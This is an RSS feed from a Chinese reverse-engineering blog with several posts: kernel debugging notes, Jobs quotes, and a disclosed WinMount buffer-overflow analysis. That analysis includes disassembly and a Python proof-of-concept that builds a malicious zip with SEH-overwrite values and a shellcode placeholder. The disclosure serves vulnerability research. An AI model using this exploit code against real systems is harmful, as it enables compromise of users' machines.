<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>SoftRCE.net</title>
	<atom:link href="http://www.softrce.net/feed" rel="self" type="application/rss+xml" />
	<link>http://www.softrce.net</link>
	<description>Software Reverse Code Engineering</description>
	<lastBuildDate>Tue, 03 Aug 2010 10:06:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>SoftRCE官方T恤开始订购了~</title>
		<link>http://www.softrce.net/archives/320</link>
		<comments>http://www.softrce.net/archives/320#comments</comments>
		<pubDate>Tue, 03 Aug 2010 09:55:20 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=320</guid>
		<description><![CDATA[样式： 有需求的朋友可以发邮件到robinh00d#sina.cn或lewis_amu#126.com 大小参考： S 小号 165 M 中号 170 L 大号 175 XL 特大 180 xxl最大号185 xxxl特大号190 Comments2010年08月3日, Lewis writes: 更正下 Reverse the fuckin... ]]></description>
			<content:encoded><![CDATA[<p>样式：<br />
<img src="http://www.softrce.net/wp-content/uploads/2010/08/1.jpg" alt="" title="Tshirt1" width="643" height="367" class="alignnone size-full wp-image-321" /></p>
<p><img src="http://www.softrce.net/wp-content/uploads/2010/08/2.jpg" alt="" title="2" width="618" height="353" class="alignnone size-full wp-image-322" /></p>
<p>有需求的朋友可以发邮件到robinh00d#sina.cn或lewis_amu#126.com<br />
大小参考：<br />
S 小号 165<br />
M 中号 170<br />
L 大号 175<br />
XL 特大 180<br />
xxl最大号185<br />
xxxl特大号190</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/320#comment-173">2010年08月3日</a>, Lewis writes: 更正下 
Reverse the fucking *! 
修改为
Reverse the f**king *!</li><li><a href="http://www.softrce.net/archives/320#comment-176">2010年08月8日</a>, <a href='http://citypw.blogspot.com' rel='external nofollow' class='url'>Shawn</a> writes: Lewis啥时候发货?等不急了...........</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/1" rel="bookmark" title="Permanent Link: SoftRCE再次回归上线">SoftRCE再次回归上线</a></li><li><a href="http://www.softrce.net/archives/23" rel="bookmark" title="Permanent Link: SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li><a href="http://www.softrce.net/english-version" rel="bookmark" title="Permanent Link: English Version">English Version</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/320/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>RdpDr.sys Bug Check 0X7E{0xC0000005}</title>
		<link>http://www.softrce.net/archives/312</link>
		<comments>http://www.softrce.net/archives/312#comments</comments>
		<pubDate>Wed, 12 May 2010 12:54:49 +0000</pubDate>
		<dc:creator>eaglenet</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=312</guid>
		<description><![CDATA[公司测试组反馈一个BSOD，上下文如下 WARNING: Frame IP not in any known module. Following frames may be wrong. a99fd26c f6bdcd93 8591ec78 8591ec78 8591ec78 0&#215;0 a99fd284 f6bdd187 8591ec78 8591ec78 859ca8e0 rdpdr!RxLowIoCompletionTail+0&#... ]]></description>
			<content:encoded><![CDATA[<div>公司测试组反馈一个BSOD，上下文如下</div>
<div>
<div>WARNING: Frame IP not in any known module. Following frames may be wrong.</div>
<div>a99fd26c f6bdcd93 8591ec78 8591ec78 8591ec78 0&#215;0</div>
<div>a99fd284 f6bdd187 8591ec78 8591ec78 859ca8e0 rdpdr!RxLowIoCompletionTail+0&#215;33</div>
<div>a99fd298 f6bc0d2a 8591ec78 a99fd2c8 f6bc10a9 rdpdr!RxLowIoCompletion+0x3f</div>
<div>a99fd2a4 f6bc10a9 8591ec78 00000000 00000016 rdpdr!DrDevice::CompleteRxContext+0x2a</div>
<div>a99fd2c8 f6bb834d a99fd30c 00000000 00000016 rdpdr!DrDevice::CompleteBusyExchange+0x4d</div>
<div>a99fd2f8 f6bc1991 e1370000 856222d8 a99fd370 rdpdr!DrDrive::OnQueryFileInfoCompletion+0x2a5</div>
<div>a99fd31c f6bbe6f9 e1370000 0000002a a99fd370 rdpdr!DrDevice::OnDeviceIoCompletion+0xa9</div>
<div>a99fd33c f6bbe8b6 e1370000 0000002a a99fd370 rdpdr!DrExchangeManager::OnDeviceIoCompletion+0&#215;55</div>
<div>a99fd350 f6bbf543 e1370000 0000002a a99fd370 rdpdr!DrExchangeManager::HandlePacket+0&#215;26</div>
<div>a99fd37c f6bbee66 00000000 858481c3 85848150 rdpdr!DrSession::ReadCompletion+0xc5</div>
<div>a99fd394 804f26c0 00000000 85848150 85945c80 rdpdr!DrSession::ReadCompletionRoutine+0&#215;38</div>
<div>a99fd3c4 f7723864 85498628 00000000 e11cc008 nt!IopfCompleteRequest+0xa2</div>
<div>a99fd400 f772446b 85498628 00000005 00000000 termdd!IcaChannelInputInternal+0x1f4</div>
<div>a99fd428 a968b94e 85aa2fbc 00000005 00000000 termdd!IcaChannelInput+0&#215;41</div>
<div>a99fd45c a9685b25 e11cc008 00590e06 00000032 RDPWD!WDW_OnDataReceived+0&#215;180</div>
<div>a99fd484 a9685949 e11cc82c e11ce12c a99fd400 RDPWD!SM_MCSSendDataCallback+0x12d</div>
<div>a99fd4ec a9685770 00000045 a99fd524 0000004c RDPWD!HandleAllSendDataPDUs+0&#215;155</div>
<div>a99fd508 a9684632 00000045 a99fd524 806e7900 RDPWD!RecognizeMCSFrame+0&#215;32</div>
<div>a99fd530 f7727625 e11cc008 00000000 85590e38 RDPWD!MCSIcaRawInput+0x32c</div>
<div>a99fd550 f79ec1e5 85535504 00000000 85590dec termdd!IcaRawInput+0&#215;53</div>
<div>a99fdd90 f772622f 85590ca0 00000000 855acda8 TDTCP!TdInputThread+0x36f</div>
<div>a99fddac 805d0f72 85665950 00000000 00000000 termdd!_IcaDriverThread+0&#215;51</div>
<div>a99fdddc 805470ee f77261de 85463180 00000000 nt!PspSystemThreadStartup+0&#215;34</div>
<div>00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0&#215;16</div>
</div>
<div>触发行为：</div>
<div>3389连接到测试机器上，拷贝文件到测试机，测试机器直接蓝屏</div>
<div>原因：</div>
<div>MS的rdpdr本身就有一个BUG，不能处理以异步方式查询文件信息的IRP。如果上层传来一个异步查询信息的IRP，就会导致这个BSOD。这个BUG</div>
<div>直到VISTA才修补。</div>
<div>解决方法：</div>
<div>在自己初始化IRP的地方设置Irp-&gt;Flags = <span style="font-family: monospace;line-height: normal">IRP_SYNCHRONOUS_API;把IRP标志为同步IRP即可</span></div>
<div><span style="font-family: monospace;line-height: normal"><br />
</span></div>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/312#comment-161">2010年05月12日</a>, 玄风残翼 writes: 我是来顶你的。</li><li><a href="http://www.softrce.net/archives/312#comment-175">2010年08月6日</a>, pk8995 writes: 我X，我也碰到这事了。
必须用同步的才行，原来是个BUG……</li></ul><hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/english-version/baofeng-storm-activex-control-onbeforevideodownload-buffer-overflow-vulnerability" rel="bookmark" title="Permanent Link: BaoFeng Storm ActiveX Control &#8216;OnBeforeVideoDownload()&#8217; Buffer Overflow Vulnerability">BaoFeng Storm ActiveX Control &#8216;OnBeforeVideoDownload()&#8217; Buffer Overflow Vulnerability</a></li><li><a href="http://www.softrce.net/archives/12" rel="bookmark" title="Permanent Link: About Handling Nmi">About Handling Nmi</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/312/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization</title>
		<link>http://www.softrce.net/archives/310</link>
		<comments>http://www.softrce.net/archives/310#comments</comments>
		<pubDate>Fri, 07 May 2010 14:06:55 +0000</pubDate>
		<dc:creator>eaglenet</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=310</guid>
		<description><![CDATA[谁能告诉我下这两个函数注册的回调函数当时所处的系统环境到底有多么细小的区别？ 除开DDK中说的那些 我遇到了一个BSOD，SESSION5_INITIALIZATION_FAILED。现在已经解决，但是解决的是稀里糊涂。 ... ]]></description>
			<content:encoded><![CDATA[<p>谁能告诉我下这两个函数注册的回调函数当时所处的系统环境到底有多么细小的区别？ 除开DDK中说的那些</p>
<p>我遇到了一个BSOD，SESSION5_INITIALIZATION_FAILED。现在已经解决，但是解决的是稀里糊涂。</p>
<p>哪位兄弟姐妹能指点下迷经？</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/310#comment-165">2010年06月6日</a>, yeluosong writes: 绕过主动防御的代码注入方法一点思考
思路实在是太妙了：）

不知道这两个函数当时所处的系统环境这个问题楼主弄明白没，说下我的看法：）
IoRegisterBootDriverReinitialization所注册的回调例程执行时机是在系统引导之时，所有boot型驱动加载完之后，执行的。那时内核已经加载，但尚未初始化。
IoRegisterDriverReinitialization所注册的回调例程执行时机有两处，其中一处是scm利用zw咯ader（）加载驱动时调用，另一处是在系统初始化phase3调用</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/310/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>WinMount mou文件格式溢出漏洞分析</title>
		<link>http://www.softrce.net/archives/302</link>
		<comments>http://www.softrce.net/archives/302#comments</comments>
		<pubDate>Wed, 21 Apr 2010 11:55:42 +0000</pubDate>
		<dc:creator>dge</dc:creator>
				<category><![CDATA[倚天屠龙（Vulnerability）]]></category>
		<category><![CDATA[漏洞分析]]></category>

		<guid isPermaLink="false">http://www.softrce.net/archives/302</guid>
		<description><![CDATA[前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。

影响产品:WinMount 3.3.0401

WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，并且可以绕过GS,SAFESEH... ]]></description>
			<content:encoded><![CDATA[<p>Author：dge</p>
<p>前段时间发现的一个WinMount的漏洞并报给了WinMount，WinMount更新了，所以发布出来。</p>
<p>影响产品:WinMount 3.3.0401</p>
<p>WinMount在处理其mou私有格式的时候存在超长文件名溢出漏洞，这个漏洞存在于7z.dll中，并且可以绕过GS,SAFESEH成功利用。</p>
<p>由于WinMount对mou格式的特殊处理机制导致这个漏洞并不需要通过欺骗点击的方式来触发，只要你在电脑里看到这个精心构造的恶意mou文件，就能触发这个漏洞。</p>
<p>分析：<br />
.text:100B5460 vul_            proc near               ; CODE XREF: sub_100B64B0+2EEp<br />
.text:100B5460<br />
.text:100B5460 var_214         = dword ptr -214h<br />
.text:100B5460 var_210         = dword ptr -210h<br />
.text:100B5460 buf_20c         = byte ptr -20Ch<br />
.text:100B5460 arg_0           = dword ptr  4<br />
.text:100B5460 arg_4           = dword ptr  8<br />
.text:100B5460 arg_8           = dword ptr  0Ch<br />
.text:100B5460 arg_C           = dword ptr  10h<br />
.text:100B5460 arg_10          = dword ptr  14h<br />
.text:100B5460 arg_14          = dword ptr  18h<br />
.text:100B5460 arg_18          = dword ptr  1Ch<br />
.text:100B5460<br />
.text:100B5460                 sub     esp, 214h<br />
.text:100B5466                 mov     eax, dword_10101D2C<br />
.text:100B546B                 xor     eax, esp<br />
.text:100B546D                 mov     dword ptr [esp+214h+buf_20c+208h], eax<br />
.text:100B5474                 mov     ecx, [esp+214h+arg_18]<br />
.text:100B547B                 mov     edx, [esp+214h+arg_4]<br />
.text:100B5482                 mov     eax, [esp+214h+arg_C]<br />
.text:100B5489                 push    ebx<br />
.text:100B548A                 push    ebp<br />
.text:100B548B                 mov     ebp, [esp+21Ch+arg_0]<br />
.text:100B5492                 push    esi<br />
.text:100B5493                 mov     esi, [esp+220h+arg_8]<br />
.text:100B549A                 push    edi<br />
.text:100B549B                 mov     [esp+224h+var_214], ecx<br />
.text:100B549F                 push    edx<br />
.text:100B54A0                 lea     ecx, [ebp+58h]<br />
.text:100B54A3                 mov     [esp+228h+var_210], eax<br />
.text:100B54A7                 call    sub_100B5260<br />
.text:100B54AC                 mov     edi, [eax]<br />
.text:100B54AE                 mov     byte ptr [esi+6Ch], 1<br />
.text:100B54B2                 mov     eax, [edi+26h]<br />
.text:100B54B5                 mov     [esi+20h], eax<br />
.text:100B54B8                 mov     eax, [edi+2Ah]<br />
.text:100B54BB                 xor     ebx, ebx<br />
.text:100B54BD                 cmp     eax, ebx<br />
.text:100B54BF                 jz      short loc_100B54D0<br />
.text:100B54C1                 cmp     eax, 0FFFFFFFFh<br />
.text:100B54C4                 jz      short loc_100B54D0<br />
.text:100B54C6                 mov     byte ptr [esi+6Bh], 1<br />
.text:100B54CA                 mov     ecx, [edi+2Ah]<br />
.text:100B54CD                 mov     [esi+24h], ecx<br />
.text:100B54D0<br />
.text:100B54D0 loc_100B54D0:                           ; CODE XREF: vul_vul+5Fj<br />
.text:100B54D0                                         ; vul_vul+64j<br />
.text:100B54D0                 cmp     [edi+0Eh], ebx<br />
.text:100B54D3                 ja      short loc_100B54DA<br />
.text:100B54D5                 cmp     [edi+0Ah], ebx<br />
.text:100B54D8                 jbe     short loc_100B54DE<br />
.text:100B54DA<br />
.text:100B54DA loc_100B54DA:                           ; CODE XREF: vul_vul+73j<br />
.text:100B54DA                 mov     al, 1<br />
.text:100B54DC                 jmp     short loc_100B54E0<br />
.text:100B54DE ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B54DE<br />
.text:100B54DE loc_100B54DE:                           ; CODE XREF: vul_vul+78j<br />
.text:100B54DE                 xor     al, al<br />
.text:100B54E0<br />
.text:100B54E0 loc_100B54E0:                           ; CODE XREF: vul_vul+7Cj<br />
.text:100B54E0                 test    byte ptr [esi+20h], 10h<br />
.text:100B54E4                 mov     [esi+68h], al<br />
.text:100B54E7                 setnbe  dl<br />
.text:100B54EA                 mov     [esi+69h], dl<br />
.text:100B54ED                 mov     [esi+6Ah], bl<br />
.text:100B54F0                 mov     eax, [edi+1Ah]<br />
.text:100B54F3                 mov     ecx, [edi+1Eh]<br />
.text:100B54F6                 mov     edx, eax<br />
.text:100B54F8                 or      edx, ecx<br />
.text:100B54FA                 jz      short loc_100B5512<br />
.text:100B54FC                 add     eax, [esp+224h+arg_10]<br />
.text:100B5503                 adc     ecx, [esp+224h+arg_14]<br />
.text:100B550A                 mov     [esi+60h], eax<br />
.text:100B550D                 mov     [esi+64h], ecx<br />
.text:100B5510                 jmp     short loc_100B5518<br />
.text:100B5512 ; &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
.text:100B5512<br />
.text:100B5512 loc_100B5512:                           ; CODE XREF: vul_vul+9Aj<br />
.text:100B5512                 mov     [esi+60h], ebx<br />
.text:100B5515                 mov     [esi+64h], ebx<br />
.text:100B5518<br />
.text:100B5518 loc_100B5518:                           ; CODE XREF: vul_vul+B0j<br />
.text:100B5518                 push    206h            ; size_t<br />
.text:100B551D                 lea     ecx, [esp+228h+buf_20c+2]<br />
.text:100B5521                 xor     eax, eax<br />
.text:100B5523                 push    ebx             ; int<br />
.text:100B5524                 push    ecx             ; void *<br />
.text:100B5525                 mov     word ptr [esp+230h+buf_20c], ax<br />
.text:100B552A                 call    _memset<br />
.text:100B552F                 add     esp, 0Ch<br />
.text:100B5532                 push    edi             ; int<br />
.text:100B5533                 lea     edx, [esp+228h+buf_20c]<br />
.text:100B5537                 push    edx             ; dst_string<br />
.text:100B5538                 push    ebp             ; int<br />
.text:100B5539                 call    sub_100B3F90    ;</p>
<p>跟进去</p>
<p>.text:100B3F90 ; int __stdcall sub_100B3F90(int, LPWSTR dst_string, int)<br />
.text:100B3F90 sub_100B3F90    proc near               ; CODE XREF: sub_100B3F90+25p<br />
.text:100B3F90                                         ; vul_vul+D9p<br />
.text:100B3F90<br />
.text:100B3F90 arg_0           = dword ptr  4<br />
.text:100B3F90 dst_string      = dword ptr  8<br />
.text:100B3F90 arg_8           = dword ptr  0Ch<br />
.text:100B3F90<br />
.text:100B3F90                 push    ebx<br />
.text:100B3F91                 mov     ebx, [esp+4+arg_8]<br />
.text:100B3F95                 mov     eax, [ebx+5Ch]<br />
.text:100B3F98                 push    esi<br />
.text:100B3F99                 mov     esi, [esp+8+dst_string]<br />
.text:100B3F9D                 push    edi<br />
.text:100B3F9E                 mov     edi, ds:lstrcatW<br />
.text:100B3FA4                 test    eax, eax<br />
.text:100B3FA6                 jz      short loc_100B3FC2<br />
.text:100B3FA8                 cmp     dword ptr [eax+56h], 0FFFFFFFFh<br />
.text:100B3FAC                 jz      short loc_100B3FC2<br />
.text:100B3FAE                 push    eax             ; int<br />
.text:100B3FAF                 mov     eax, [esp+10h+arg_0]<br />
.text:100B3FB3                 push    esi             ; dst_string<br />
.text:100B3FB4                 push    eax             ; int<br />
.text:100B3FB5                 call    sub_100B3F90<br />
.text:100B3FBA                 push    offset String2  ; &#8220;\\&#8221;<br />
.text:100B3FBF                 push    esi             ; lpString1<br />
.text:100B3FC0                 call    edi ; lstrcatW<br />
.text:100B3FC2<br />
.text:100B3FC2 loc_100B3FC2:                           ; CODE XREF: sub_100B3F90+16j<br />
.text:100B3FC2                                         ; sub_100B3F90+1Cj<br />
.text:100B3FC2                 mov     ecx, [ebx+52h]<br />
.text:100B3FC5                 push    ecx             ; lpString2<br />
.text:100B3FC6                 push    esi             ; lpString1<br />
.text:100B3FC7                 call    edi ; lstrcatW  ; 溢出<br />
.text:100B3FC9                 pop     edi<br />
.text:100B3FCA                 pop     esi<br />
.text:100B3FCB                 pop     ebx<br />
.text:100B3FCC                 retn    0Ch<br />
.text:100B3FCC sub_100B3F90    endp</p>
<p>接下来会继续调用下边这个函数</p>
<p>.text:100209C0 access_         proc near               ; CODE XREF: sub_10020AE0+6Cp<br />
.text:100209C0                                         ; sub_10021060+105p &#8230;<br />
.text:100209C0<br />
.text:100209C0 p_string        = dword ptr  4<br />
.text:100209C0<br />
.text:100209C0                 push    ebx<br />
.text:100209C1                 mov     ebx, ecx<br />
.text:100209C3                 mov     eax, [ebx]<br />
.text:100209C5                 push    esi<br />
.text:100209C6                 xor     ecx, ecx<br />
.text:100209C8                 push    edi<br />
.text:100209C9                 mov     edi, [esp+0Ch+p_string]<br />
.text:100209CD                 mov     dword ptr [ebx+4], 0<br />
.text:100209D4                 mov     [eax], cx<br />
.text:100209D7                 xor     esi, esi<br />
.text:100209D9                 cmp     [edi], cx<br />
.text:100209DC                 jz      short loc_100209E7<br />
.text:100209DE                 mov     edi, edi<br />
.text:100209E0<br />
.text:100209E0 loc_100209E0:                           ; CODE XREF: access_+25j<br />
.text:100209E0                 inc     esi<br />
.text:100209E1                 cmp     [edi+esi*2], cx ; 可以制造出内存读异常&#8212;&gt;绕过GS<br />
.text:100209E5                 jnz     short loc_100209E0<br />
.text:100209E7<br />
.text:100209E7 loc_100209E7:                           ; CODE XREF: access_+1Cj<br />
.text:100209E7                 push    esi<br />
.text:100209E8                 mov     ecx, ebx<br />
.text:100209EA                 call    sub_10002F90<br />
.text:100209EF                 mov     ecx, [ebx]<br />
.text:100209F1                 mov     edx, edi<br />
.text:100209F3<br />
.text:100209F3 loc_100209F3:                           ; CODE XREF: access_+42j<br />
.text:100209F3                 movzx   eax, word ptr [edx]<br />
.text:100209F6                 mov     [ecx], ax<br />
.text:100209F9                 add     ecx, 2<br />
.text:100209FC                 add     edx, 2<br />
.text:100209FF                 test    ax, ax<br />
.text:10020A02                 jnz     short loc_100209F3<br />
.text:10020A04                 pop     edi<br />
.text:10020A05                 mov     [ebx+4], esi<br />
.text:10020A08                 pop     esi<br />
.text:10020A09                 mov     eax, ebx<br />
.text:10020A0B                 pop     ebx<br />
.text:10020A0C                 retn    4<br />
.text:10020A0C access_         endp</p>
<p>POC:</p>
<p>用这个脚本产生test.zip，再借助WinMount生成test.mou文件。</p>
<p>import os</p>
<p>sploitfile=&#8221;test.zip&#8221;<br />
ldf_header =(&#8216;\x50\x4B\x03\x04\x14\x00\x00&#8242;<br />
&#8216;\x00\x08\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8242;<br />
&#8216;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8242;<br />
&#8216;\xd0\xff&#8217;<br />
&#8216;\x00\x00\x00&#8242;)<br />
cdf_header = (&#8220;\x50\x4B\x01\x02\x14\x00\x14&#8243;<br />
&#8220;\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00&#8243;<br />
&#8220;\x00\x00\x00\x00\x00\x00\x00\x00\x00&#8243;<br />
&#8220;\xd0\xff&#8221;<br />
&#8220;\x00\x00\x00\x00\x00\x00\x01\x00&#8243;<br />
&#8220;\x24\x00\x00\x00\x00\x00\x00\x00&#8243;)<br />
eofcdf_header = (&#8220;\x50\x4B\x05\x06\x00\x00\x00&#8243;<br />
&#8220;\x00\x01\x00\x01\x00&#8243;<br />
&#8220;\xfe\xff\x00\x00&#8243;<br />
&#8220;\xee\xff\x00\x00&#8243;<br />
&#8220;\x00\x00&#8243;)<br />
print &#8221;[+] Preparing payload\n&#8221;<br />
size=65484<br />
junk=&#8217;A'*420<br />
nseh=&#8217;\x89\x8a\x8b\x8c&#8217;<br />
seh=&#8217;\x84\x5b\xac\x8d&#8217;<br />
junk_=&#8217;A'*33<br />
jumpto=&#8217;\x05\x12\x11\x46\x2d\x11\x11\x46\x50\x46\xac\xe4&#8242;#make eax point to shellcode and jump to shellcode<br />
shellcode=(&#8220;the shellcode here will be changed into unicode&#8221;)#encode by alpha2<br />
junk__=&#8217;B'*80<br />
last=&#8217;C'*(size-420-len(nseh+seh+junk_+jumpto+junk__+shellcode))<br />
payload=junk+nseh+seh+junk_+jumpto+junk__+shellcode+last+&#8221;.wav&#8221;<br />
evilzip = ldf_header+payload+cdf_header+payload+eofcdf_header<br />
print &#8221;[+] Removing old zip file\n&#8221;<br />
os.system(&#8220;del &#8221;+sploitfile)<br />
print &#8221;[+] Writing payload to file\n&#8221;<br />
fobj=open(sploitfile,&#8221;w&#8221;,0)<br />
fobj.write(evilzip)<br />
print &#8221;generate zip file &#8221;+(sploitfile)<br />
fobj.close()<br />
print &#8217;[+] Wrote %d bytes to file sploitfile\n&#8217;%(len(evilzip))<br />
print &#8221;[+] Payload length :%d \n&#8221;%(len(payload))</p>
<p>EOF</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/302#comment-160">2010年05月1日</a>, Cyg07 writes: nx~顶了</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">相关阅读</h3><ul class="related_post"><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/100" title="暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞">暴风影音2009(Config.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2009年04月30日 -- <a href="http://www.softrce.net/archives/83" title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/302/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Think Different</title>
		<link>http://www.softrce.net/archives/296</link>
		<comments>http://www.softrce.net/archives/296#comments</comments>
		<pubDate>Thu, 11 Mar 2010 05:01:06 +0000</pubDate>
		<dc:creator>gz1x</dc:creator>
				<category><![CDATA[华山论剑（Watering）]]></category>
		<category><![CDATA[Think Different]]></category>
		<category><![CDATA[价值观]]></category>
		<category><![CDATA[创新]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=296</guid>
		<description><![CDATA[本来有大堆的话想说，在iPad推出之后，可是想说的太多以至于理不出头绪。 想起乔布斯在1997年重回苹果担任CEO之后，推出了著名的《Think Different》广告，于是想贴上下面这段话： 向那些疯狂... ]]></description>
			<content:encoded><![CDATA[<p>本来有大堆的话想说，在iPad推出之后，可是想说的太多以至于理不出头绪。<br />
想起乔布斯在1997年重回苹果担任CEO之后，推出了著名的《Think Different》广告，于是想贴上下面这段话：</p>
<p><span id="more-296"></span></p>
<blockquote><p>向那些疯狂的家伙们致敬。<br />
那些我行我素的家伙。<br />
那些桀骜不驯的家伙。<br />
那些惹事生非的家伙。<br />
那些方孔中的圆桩。<br />
他们总是异想天开，<br />
既不喜欢循规蹈矩，<br />
也不尊重既成事实。<br />
你尽可以赞美他们，否定他们，引用他们，<br />
质疑他们，颂扬抑或是诋毁他们。<br />
不过惟独不能漠视他们。<br />
因为他们进行着变革。<br />
他们推动着人类的进程。<br />
他们是别人眼里的疯子，<br />
却是我们眼中的天才。<br />
因为，只有疯狂到认为<br />
自己能够改变世界的人，<br />
才能真正做到这一点。 </p>
<p>Here’s to the crazy ones.<br />
The misfits.<br />
The rebels.<br />
The troublemakers.<br />
The round pegs in the square holes.<br />
The ones who see things differently.<br />
They’re not fond of rules.<br />
And they have no respect for the status quo.<br />
You can quote them, disagree with them, glorify or vilify them.<br />
About the only thing you can’t do is ignore them.<br />
Because they change things.<br />
They push the human race forward.<br />
And while some see them as the crazy ones,<br />
We see genius.<br />
Because the people who are crazy enough to think<br />
they can change the world,<br />
Are the ones who do. </p></blockquote>
<p>&#8212;&#8212;&#8212;&#8211;</p>
<p>而那些我能想到的字眼：核心价值观，创新理念，创新技能，用户体验&#8230;由于想说的太多，就变成了也许什么都不用说。<br />
技术是工具，想改变世界，首先改变理念。</p>
<hr /><h2>Comments</h2><ul><li><a href="http://www.softrce.net/archives/296#comment-139">2010年03月13日</a>, robinh00d writes: 只能学习</li><li><a href="http://www.softrce.net/archives/296#comment-141">2010年03月15日</a>, Lewis writes: 家伙们</li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/296/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Steve Jobs在斯坦福大学毕业典礼上的演讲</title>
		<link>http://www.softrce.net/archives/288</link>
		<comments>http://www.softrce.net/archives/288#comments</comments>
		<pubDate>Mon, 01 Mar 2010 04:18:17 +0000</pubDate>
		<dc:creator>gz1x</dc:creator>
				<category><![CDATA[华山论剑（Watering）]]></category>
		<category><![CDATA[Stay foolish]]></category>
		<category><![CDATA[Stay hungry]]></category>
		<category><![CDATA[Steve Jobs]]></category>
		<category><![CDATA[演讲]]></category>

		<guid isPermaLink="false">http://www.softrce.net/?p=288</guid>
		<description><![CDATA[很荣幸和大家一道参加这所世界上最好的一座大学的毕业典礼。我大学没毕业，说实话，这是我第一次离大学毕业典礼这么近。今天我想给大家讲三个我自己的故事，不讲别的，也不讲大道理... ]]></description>
			<content:encoded><![CDATA[<p> &#8212;&#8212;&#8211;</p>
<p>视频地址，中英文字幕：</p>
<p><a href="http://v.youku.com/v_show/id_XMTM3OTM5OTA0.html">http://v.youku.com/v_show/id_XMTM3OTM5OTA0.html</a></p>
<p>&#8212;&#8212;&#8212;</p>
<p>    很荣幸和大家一道参加这所世界上最好的一座大学的毕业典礼。我大学没毕业，说实话，这是我第一次离大学毕业典礼这么近。今天我想给大家讲三个我自己的故事，不讲别的，也不讲大道理，就讲三个故事。</p>
